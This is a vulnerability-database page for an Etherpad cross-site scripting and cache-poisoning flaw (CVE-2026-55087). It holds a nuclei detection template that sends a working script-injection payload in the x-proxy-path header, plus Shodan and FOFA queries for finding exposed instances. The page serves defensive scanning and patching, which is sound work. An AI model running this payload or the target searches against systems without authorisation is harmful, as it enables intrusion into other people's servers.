Browse / CVEs / CVE-2026-55087
CVE-2026-55087· ether / etherpad· CWE-79, CWE-444, CWE-601
Etherpad 2.1.0 <= 3.0.0 - Cross-Site Scripting
mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
48%of all CVEs are less likely
Readycheck to confirm it
Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.
Fix
Upgrade to Etherpad 3.1.0 or later.
How to confirm it
Send: GET {{BaseURL}}/admin/
Positive when: contains_all(body, 'src="/\"><script>alert(document.domain)</script>/admin/', 'href="/\"><script>alert(document.domain)</script>/admin/') and contains(header, 'text/html') and status_code == 200Run it with nuclei: nuclei -id CVE-2026-55087 -u <target>
The full check
id: CVE-2026-55087
info:
name: Etherpad 2.1.0 <= 3.0.0 - Cross-Site Scripting
author: Haseeb-1698
severity: medium
description: |
Etherpad versions 2.1.0 through 3.0.0 reflect the x-proxy-path request header into admin HTML, JavaScript, and CSS responses without sanitization. An attacker can abuse this behavior to inject crafted content into generated resource URLs, enabling cross-site scripting and cache poisoning scenarios.
remediation: |
Upgrade to Etherpad 3.1.0 or later.
reference:
- https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8
- https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996
- https://nvd.nist.gov/vuln/detail/CVE-2026-55087
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2026-55087
epss-score: 0.00578
epss-percentile: 0.47956
cwe-id: CWE-79,CWE-444,CWE-601
metadata:
verified: true
max-request: 1
vendor: ether
product: etherpad
shodan-query: http.title:"Etherpad"
fofa-query: title="Etherpad"
tags: cve,cve2026,etherpad,xss
http:
- method: GET
path:
- "{{BaseURL}}/admin/"
headers:
x-proxy-path: '/"><script>alert(document.domain)</script>'
matchers:
- type: dsl
dsl:
- "contains_all(body, 'src=\"/\\\"><script>alert(document.domain)</script>/admin/', 'href=\"/\\\"><script>alert(document.domain)</script>/admin/')"
- "contains(header, 'text/html')"
- "status_code == 200"
condition: andReferences
- https://github.com/ether/etherpad/security/advisories/GHSA-fjgc-3mj7-8rg8
- https://github.com/ether/etherpad/commit/8c6104c5d5daf41f0d454acc04d42dffa0e0d996
- https://nvd.nist.gov/vuln/detail/CVE-2026-55087
Use this check only on systems you are authorised to test. Where the data comes from